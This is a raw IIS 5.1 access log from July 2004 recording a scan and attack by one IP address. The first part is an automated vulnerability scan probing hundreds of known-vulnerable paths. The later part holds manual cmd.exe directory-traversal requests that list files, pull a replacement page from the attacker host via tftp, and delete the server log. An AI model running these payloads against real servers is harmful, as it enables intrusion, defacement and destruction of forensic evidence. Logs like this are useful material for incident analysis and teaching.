#Software: Microsoft Internet Information Services 5.1
#Version: 1.0
#Date: 2004-07-16 04:48:53
#Fields: time c-ip cs-method cs-uri-stem sc-status
04:49:06 208.196.11.254 GET /rettest.idq 404
04:49:06 208.196.11.254 GET /asdfdsg2ggfds 404
04:49:06 208.196.11.254 GET /iisadmpwd/aexp2b.htr 404
04:49:08 208.196.11.254 GET /rettest.ida 404
04:49:08 208.196.11.254 GET /cgi-bin/htimage.exe 404
04:49:08 208.196.11.254 GET /.htr 404
04:49:08 208.196.11.254 GET /default.asp\ 403
04:49:08 208.196.11.254 GET /iisstart.asp\ 403
04:49:08 208.196.11.254 GET /start.asp\ 403
04:49:08 208.196.11.254 GET /main.asp\ 403
04:49:08 208.196.11.254 GET /iisstart.asp+.htr 404
04:49:08 208.196.11.254 GET /index.asp\ 403
04:49:08 208.196.11.254 GET /global.asa\ 403
04:49:08 208.196.11.254 GET /default.asp+.htr 404
04:49:08 208.196.11.254 GET /null.printer 404
04:49:08 208.196.11.254 GET /start.asp+.htr 404
04:49:08 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe 500
04:49:08 208.196.11.254 GET /IISADMPWD/..À%9v..À%9v..À%9v..À%9v..À%9v..À%9v..À%9v..À%9v/winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /cfdocs/snippets/gettempdirectory.cfm 404
04:49:08 208.196.11.254 GET /localstart.asp\ 401
04:49:08 208.196.11.254 GET /winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /cfdocs/snippets/viewexample.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/exampleapp/docs/sourcewindow.cfm 404
04:49:08 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe 500
04:49:08 208.196.11.254 GET /winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /IISADMPWD/..À%qf..À%qf..À%qf..À%qf..À%qf..À%qf..À%qf..À%qf/winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /IISADMPWD/..Á%8s..Á%8s..Á%8s..Á%8s..Á%8s..Á%8s..Á%8s..Á%8s/winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /IISADMPWD/..Á%pc..Á%pc..Á%pc..Á%pc..Á%pc..Á%pc..Á%pc..Á%pc/winnt/system32/cmd.exe 404
04:49:08 208.196.11.254 GET /cfdocs/expeval/sendmail.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/exampleapp/email/application.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/exampleapp/publish/admin/application.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/examples/httpclient/mainframeset.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/exampleapp/email/getfile.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/exampleapp/publish/admin/addcontent.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/examples/parks/detail.cfm 404
04:49:08 208.196.11.254 GET /cfdocs/examples/cvbeans/beaninfo.cfm 404
04:49:08 208.196.11.254 GET /msadc/msadcs.dll 404
04:49:08 208.196.11.254 GET /cfide/administrator/index.cfm 404
04:49:08 208.196.11.254 GET /cgi-bin/statsconfig.pl 404
04:49:08 208.196.11.254 GET /cgi-bin/simplestguest.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/simplestmail.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/ad.cgi 404
04:49:08 208.196.11.254 GET /_vti_bin/_vti_aut/fp30reg.dll 404
04:49:08 208.196.11.254 GET /cgi-bin/wwwboard.pl 404
04:49:08 208.196.11.254 GET /cgi-bin/htsearch 404
04:49:08 208.196.11.254 GET /servers/link.cgi 404
04:49:08 208.196.11.254 GET /banners.php 404
04:49:08 208.196.11.254 GET /store/agora.cgi 404
04:49:08 208.196.11.254 GET /servlet/ServletManager 404
04:49:08 208.196.11.254 GET /stronghold-info 404
04:49:08 208.196.11.254 GET /pub/english.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/zml.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/lastlines.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/lastlines.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/faqmanager.cgi 404
04:49:08 208.196.11.254 GET /Secure/Local/console/cmhome.htm 404
04:49:08 208.196.11.254 GET /cgi-bin/boozt/admin/index.cgi 404
04:49:08 208.196.11.254 GET /cgi-bin/ttawebtop.cgi 404
04:49:08 208.196.11.254 GET /netget 404
04:49:08 208.196.11.254 GET /~admin/help/mpmgr/intro.html 404
04:49:08 208.196.11.254 GET /ez2000/ezboard.cgi 404
04:49:09 208.196.11.254 GET /images/icewebmail/title1.gif 404
04:49:09 208.196.11.254 GET /security/web_access.html 404
04:49:09 208.196.11.254 GET /cgi-bin/gm.cgi 404
04:49:09 208.196.11.254 OPTIONS / 200
04:49:09 208.196.11.254 GET /web_app/WEB-INF/webapp.properties 404
04:49:09 208.196.11.254 GET /web_app/WEB-INF/jrun-web.xml 404
04:49:09 208.196.11.254 GET /web_app/WEB-INF/webapp.properties 404
04:49:09 208.196.11.254 GET /publisher 404
04:49:09 208.196.11.254 GET /WEB-INF./web.xml 404
04:49:11 208.196.11.254 GET /cgi-bin/whois.cgi 404
04:49:11 208.196.11.254 PROPFIND /ADMIN$ 404
04:49:11 208.196.11.254 PROPFIND /C$ 404
04:49:11 208.196.11.254 GET /cgi-bin/cgitest.exe 404
04:49:11 208.196.11.254 GET /cgi-bin/formmail.pl 404
04:49:11 208.196.11.254 GET /cgi-bin/info2www 404
04:49:12 208.196.11.254 GET /mail/admin 404
04:49:12 208.196.11.254 GET /cgi-bin/visadmin.exe 404
04:49:12 208.196.11.254 GET /cgi-bin/statsconfig.pl 404
04:49:12 208.196.11.254 GET /cgi-bin/bizdb1-search.cgi 404
04:49:12 208.196.11.254 GET /cgi-bin/webwho.pl 404
04:49:12 208.196.11.254 GET /test.shtml 404
04:49:12 208.196.11.254 GET /cgi-bin/redir.exe 404
04:49:12 208.196.11.254 GET /cgi-bin/auctiondeluxe/auction.pl 404
04:49:12 208.196.11.254 GET /cgi-bin/htgrep/file= 404
04:49:12 208.196.11.254 GET /cgi-bin/test2.pl 404
04:49:12 208.196.11.254 GET /search.dll 404
04:49:13 208.196.11.254 GET /msadc/msadcs.dll 404
04:49:13 208.196.11.254 GET /isapi/tstisapi.dll 404
04:49:13 208.196.11.254 GET /scripts/tools/getdrvrs.exe 404
04:49:13 208.196.11.254 GET /iisadmpwd/aexp2b.htr 404
04:49:13 208.196.11.254 GET /iisadmpwd/aexp2.htr 404
04:49:13 208.196.11.254 GET /iisadmpwd/aexp3.htr 404
04:49:13 208.196.11.254 GET /iisadmpwd/aexp4.htr 404
04:49:13 208.196.11.254 GET /password.inc 404
04:49:13 208.196.11.254 GET /logicworks.ini 404
04:49:13 208.196.11.254 GET /uploader.php 404
04:49:14 208.196.11.254 GET /compte.php 404
04:49:14 208.196.11.254 GET /logbook.pl 404
04:49:14 208.196.11.254 GET /cgi-bin/hpnst.exe 404
04:49:14 208.196.11.254 GET /instaboard/index.cfm 404
04:49:14 208.196.11.254 GET /_vti_bin/_vti_aut/dvwssr.dll 404
04:49:14 208.196.11.254 GET /servlets/SchedulerTransfer 404
04:49:14 208.196.11.254 GET /k/home 404
04:49:14 208.196.11.254 GET /cgi-bin/gettransbitmap 404
04:49:15 208.196.11.254 GET /eManager/cgi-bin/eManager.htm 404
04:49:15 208.196.11.254 GET /InterScanMssConfig.html 404
04:49:15 208.196.11.254 GET /iissamples/sdk/asp/docs/CodeBrws.asp 404
04:49:15 208.196.11.254 GET /SiteServer/Admin/knowledge/persmbr/vs.asp 404
04:49:15 208.196.11.254 GET /admin/dsn/dsnmanager.asp 404
04:49:15 208.196.11.254 GET /admin/import/imp_rootdir.asp 404
04:49:15 208.196.11.254 GET /InterScan/cgi-bin/interscan.dll 404
04:49:15 208.196.11.254 PROPFIND /A$ 404
04:49:15 208.196.11.254 PROPFIND /B$ 404
04:49:15 208.196.11.254 PROPFIND /D$ 404
04:49:15 208.196.11.254 PROPFIND /F$ 404
04:49:15 208.196.11.254 PROPFIND /H$ 404
04:49:15 208.196.11.254 PROPFIND /I$ 404
04:49:15 208.196.11.254 PROPFIND /J$ 404
04:49:15 208.196.11.254 PROPFIND /K$ 404
04:49:15 208.196.11.254 PROPFIND /L$ 404
04:49:15 208.196.11.254 PROPFIND /M$ 404
04:49:15 208.196.11.254 PROPFIND /N$ 404
04:49:15 208.196.11.254 PROPFIND /O$ 404
04:49:15 208.196.11.254 PROPFIND /P$ 404
04:49:15 208.196.11.254 PROPFIND /Q$ 404
04:49:15 208.196.11.254 PROPFIND /R$ 404
04:49:15 208.196.11.254 PROPFIND /S$ 404
04:49:15 208.196.11.254 PROPFIND /T$ 404
04:49:15 208.196.11.254 PROPFIND /U$ 404
04:49:15 208.196.11.254 PROPFIND /V$ 404
04:49:15 208.196.11.254 PROPFIND /W$ 404
04:49:15 208.196.11.254 PROPFIND /X$ 404
04:49:15 208.196.11.254 PROPFIND /Y$ 404
04:49:15 208.196.11.254 PROPFIND /Z$ 404
04:49:15 208.196.11.254 GET /cgi-script/CSMailto/CSMailto.cgi 404
04:49:15 208.196.11.254 GET /cgi-bin/YaBB/YaBB.cgi 404
04:49:15 208.196.11.254 GET /cgi-bin/csPassword/csPassword.cgi 404
04:49:15 208.196.11.254 GET /OfficeScan/clientinstall/ 404
04:49:20 208.196.11.254 GET /rettest.idq 404
04:49:20 208.196.11.254 GET /rettest.idq 404
04:49:20 208.196.11.254 GET /~nobody 404
04:49:20 208.196.11.254 GET /cgi-bin/htimage.exe 404
04:49:20 208.196.11.254 GET /scripts/htimage.exe 404
04:49:20 208.196.11.254 GET /_vti_bin/fpcount.exe 404
04:49:20 208.196.11.254 GET /_vti_bin/fpcount.exe 404
04:49:20 208.196.11.254 GET /index.asp 200
04:49:20 208.196.11.254 GET /cgi-bin/dumpenv.pl 404
04:49:20 208.196.11.254 GET /servlet/org.apache.catalina.Globals/ 404
04:49:20 208.196.11.254 TRACE / 200
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /upload.cgi 404
04:49:21 208.196.11.254 GET /roomx.asp 404
04:49:21 208.196.11.254 OPTIONS / 200
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /asdfdsg2ggfds 404
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET / 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /help/readme.nsf 404
04:49:21 208.196.11.254 GET /help/readme.nsf 404
04:49:21 208.196.11.254 GET /help/readme.nsf 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /help/readme.nsf 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /help/readme.nsf 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /iNotes/Forms5.nsf 404
04:49:21 208.196.11.254 GET /board.php 404
04:49:21 208.196.11.254 GET /ccbill/whereami.cgi 404
04:49:21 208.196.11.254 GET /quikstore.cgi 404
04:49:21 208.196.11.254 GET /cgi/texis.exe/ 404
04:49:21 208.196.11.254 GET /cgi-bin/texis.exe/ 404
04:49:21 208.196.11.254 GET /scripts/texis.exe/ 404
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /searchme.nsf 404
04:49:21 208.196.11.254 GET /smtptbls.nsf 404
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /catalog.nsf 404
04:49:21 208.196.11.254 GET /decsadm.nsf 404
04:49:21 208.196.11.254 GET /admin4.nsf 404
04:49:21 208.196.11.254 GET /dansguardian/edit.cgi 404
04:49:21 208.196.11.254 GET /loginpage_splx.htm 404
04:49:21 208.196.11.254 GET /config.dat 404
04:49:21 208.196.11.254 GET /admin5.nsf 404
04:49:21 208.196.11.254 GET /admin.nsf 404
04:49:21 208.196.11.254 GET /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW 404
04:49:21 208.196.11.254 GET /cgi-bin/rwcgi60/showenv 404
04:49:21 208.196.11.254 GET /demo/email/sendmail.jsp 404
04:49:21 208.196.11.254 GET /demo/basic/info/info.jsp 404
04:49:21 208.196.11.254 GET /dms0 404
04:49:21 208.196.11.254 GET /servlet/DMSDump 404
04:49:21 208.196.11.254 GET /servlet/Spy 404
04:49:21 208.196.11.254 GET /oprocmgr-status 404
04:49:21 208.196.11.254 GET /dms/AggreSpy 404
04:49:21 208.196.11.254 GET /caucho-status 404
04:49:21 208.196.11.254 GET /statrep.nsf 404
04:49:21 208.196.11.254 GET /examples/basic/servlet/HelloServlet 404
04:49:21 208.196.11.254 GET /cgi-bin 404
04:49:21 208.196.11.254 GET /readme.txt 404
04:49:21 208.196.11.254 GET /scripts/foxweb.exe/ 404
04:49:21 208.196.11.254 GET /cgi-bin/helpout.exe 404
04:49:21 208.196.11.254 GET /soap/servlet/soaprouter 404
04:49:21 208.196.11.254 GET /soapdocs/webapps/soap/WEB-INF/config/soapConfig.xml 404
04:49:21 208.196.11.254 GET /pls/simpledad/admin_/gateway.htm 404
04:49:21 208.196.11.254 GET /eEye2003.jsp 404
04:49:21 208.196.11.254 GET /demo/ojspext/events/_pages/_demo/_ojspext/_events/_index.java 404
04:49:21 208.196.11.254 GET /cgi-bin/cal_make.pl 404
04:49:21 208.196.11.254 GET /cgi-bin/environ.pl 404
04:49:21 208.196.11.254 GET /shopper.cgi 404
04:49:21 208.196.11.254 GET /cgi-bin/Web_store/web_store.cgi 404
04:49:21 208.196.11.254 GET /index.asp 200
04:49:21 208.196.11.254 GET /da.nsf 404
04:49:21 208.196.11.254 GET /agentrunner.nsf 404
04:49:21 208.196.11.254 GET /dba4.nsf 404
04:49:21 208.196.11.254 GET /domcfg.nsf 404
04:49:21 208.196.11.254 GET /domlog.nsf 404
04:49:21 208.196.11.254 GET /mab.nsf 404
04:49:21 208.196.11.254 GET /log.nsf 404
04:49:21 208.196.11.254 GET /a6qarea.nsf 404
04:49:21 208.196.11.254 GET /events4.nsf 404
04:49:22 208.196.11.254 GET /web.nsf 404
04:49:22 208.196.11.254 GET /mtatbls.nsf 404
04:49:22 208.196.11.254 GET /names.nsf 404
04:49:22 208.196.11.254 GET /perweb.nsf 404
04:49:22 208.196.11.254 GET /setup.nsf 404
04:49:22 208.196.11.254 GET /smency.nsf 404
04:49:22 208.196.11.254 GET /download.php 404
04:49:22 208.196.11.254 GET /metadot/index.pl 404
04:49:22 208.196.11.254 GET /isqlplus 404
04:49:22 208.196.11.254 GET /examples/jsp/snp/snoop.jsp 404
04:49:22 208.196.11.254 GET /servlet/webacc 404
04:49:22 208.196.11.254 GET /com/novell/webaccess/WebAccessUninstall.ini 404
04:49:22 208.196.11.254 GET /PJreview_Neo.cgi 404
04:49:22 208.196.11.254 GET /db2www.ini 404
04:49:22 208.196.11.254 GET /login.jsp 404
04:49:22 208.196.11.254 GET /cgi-bin/ncommerce3/ExecMacro/macro.d2w/EEYEDIGITALSECURITY 404
04:49:22 208.196.11.254 GET /browser.php 404
04:49:22 208.196.11.254 GET /editconfig_gedcom.php 404
04:49:22 208.196.11.254 GET /showphoto.php 404
04:49:22 208.196.11.254 GET /_pages/_demo/_basic/_info/_info.java 404
04:49:22 208.196.11.254 GET /onlineorders_html/main.jsp 404
04:49:22 208.196.11.254 GET /xsql/java/xsql/demo/uri/uridemo.html 404
04:49:22 208.196.11.254 GET /xsql/java/xsql/demo/insertxml/newsstorydemo.html 404
04:49:22 208.196.11.254 GET /web-inf/config.xml 404
04:49:22 208.196.11.254 GET /webapp/admin/showpooldetails.jsp 404
04:49:22 208.196.11.254 GET /webapp/admin/showjavartdetails.jsp 404
04:49:22 208.196.11.254 GET /xsql/java/xsql/demo/adhocsql/sqltoxml.html 404
04:49:22 208.196.11.254 GET /demo/sql/sqlj/SQLJSelectInto.sqljsp 404
04:49:22 208.196.11.254 GET /_pages/_demo/_sql/_sqlj/_SQLJSelectInto.java 404
04:49:22 208.196.11.254 GET /_pages/_demo/_sql/_jdbc/_JDBCQuery.java 404
04:49:22 208.196.11.254 GET /demo/sql/jdbc/JDBCQuery.jsp 404
04:49:22 208.196.11.254 GET /demo/sql/jdbc/UseHtmlQueryBean.jsp 404
04:49:22 208.196.11.254 GET /boot.ini 404
04:49:22 208.196.11.254 GET /etc/serivces 404
04:49:22 208.196.11.254 GET /lcgi/sewse.nlm 404
04:49:22 208.196.11.254 GET /netbasic/websinfo.bas 404
04:49:22 208.196.11.254 GET /perl/samples/env.pl 404
04:49:22 208.196.11.254 GET /cgi-bin/subscribe/bsml.pl 404
04:49:22 208.196.11.254 GET /index.asp 200
04:49:22 208.196.11.254 GET /modules.php 404
04:49:22 208.196.11.254 GET /modules.php 404
04:49:22 208.196.11.254 GET /index.asp 200
04:49:22 208.196.11.254 GET /cgi-bin/gotopage.cgi 404
04:49:22 208.196.11.254 GET / 401
04:49:22 208.196.11.254 GET /functions.php 404
04:49:22 208.196.11.254 GET /phptest.php 404
04:49:22 208.196.11.254 GET /admin/aindex.htm 404
04:49:22 208.196.11.254 GET /page.php 404
04:49:22 208.196.11.254 GET /webspirs.cgi 404
04:49:22 208.196.11.254 GET /_vti_pvt/administrators.pwd 404
04:49:22 208.196.11.254 GET /exec/show/interfaces/CR 404
04:49:22 208.196.11.254 GET /exec/show/log/CR 404
04:49:22 208.196.11.254 GET /level/15/exec/- 404
04:49:22 208.196.11.254 GET /exec/show/tech-support/cr 404
04:49:22 208.196.11.254 GET /viewCart.asp 404
04:49:22 208.196.11.254 GET /init.emu 404
04:49:23 208.196.11.254 GET /pafiledb.php 404
04:49:23 208.196.11.254 GET /cgi-bin/ncommerce3/ExecMacro/orderdspc.d2w/report 404
04:49:23 208.196.11.254 GET /support/download.jsp 404
04:49:23 208.196.11.254 GET /examples/jsp/source.jsp 404
04:49:23 208.196.11.254 GET /cgi-sys/guestbook.cgi 404
04:49:23 208.196.11.254 GET /largeimage.asp 404
04:49:23 208.196.11.254 GET /examples/jsp/source.jsp 404
04:49:23 208.196.11.254 GET /encore/forumcgi/display.cgi 404
04:49:23 208.196.11.254 GET /_mmServerScripts/MMHTTPDB.asp 404
04:49:23 208.196.11.254 GET /session/pagecount 404
04:49:23 208.196.11.254 GET /search/results.stm 404
04:49:23 208.196.11.254 GET /boot.ini 404
04:49:23 208.196.11.254 GET /etc/services 404
04:49:23 208.196.11.254 GET /stronghold-status 404
04:49:23 208.196.11.254 GET /trace.axd 404
04:49:23 208.196.11.254 GET /calendar_download.php 404
04:49:23 208.196.11.254 GET /showcat.php 404
04:49:23 208.196.11.254 GET /showproduct.php 404
05:15:00 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe 500
05:15:36 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+dir+c:\ 500
05:16:09 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot 500
05:18:02 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+copy+c:\inetpub\wwwroot\index.asp+index_backup.asp 500
05:20:17 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+tftp -i 208.196.11.254 GET index.htm c:\inetpub\wwwroot\index.htm 500
05:22:00 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+type+c:\WINDOWS\System32\LogFiles\W3SVC1\ex040716.log 500
05:23:05 208.196.11.254 GET /scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+del+c:\WINDOWS\System32\LogFiles\W3SVC1\ex040716.log 403
08:34:16 192.168.0.12 GET /index.htm 200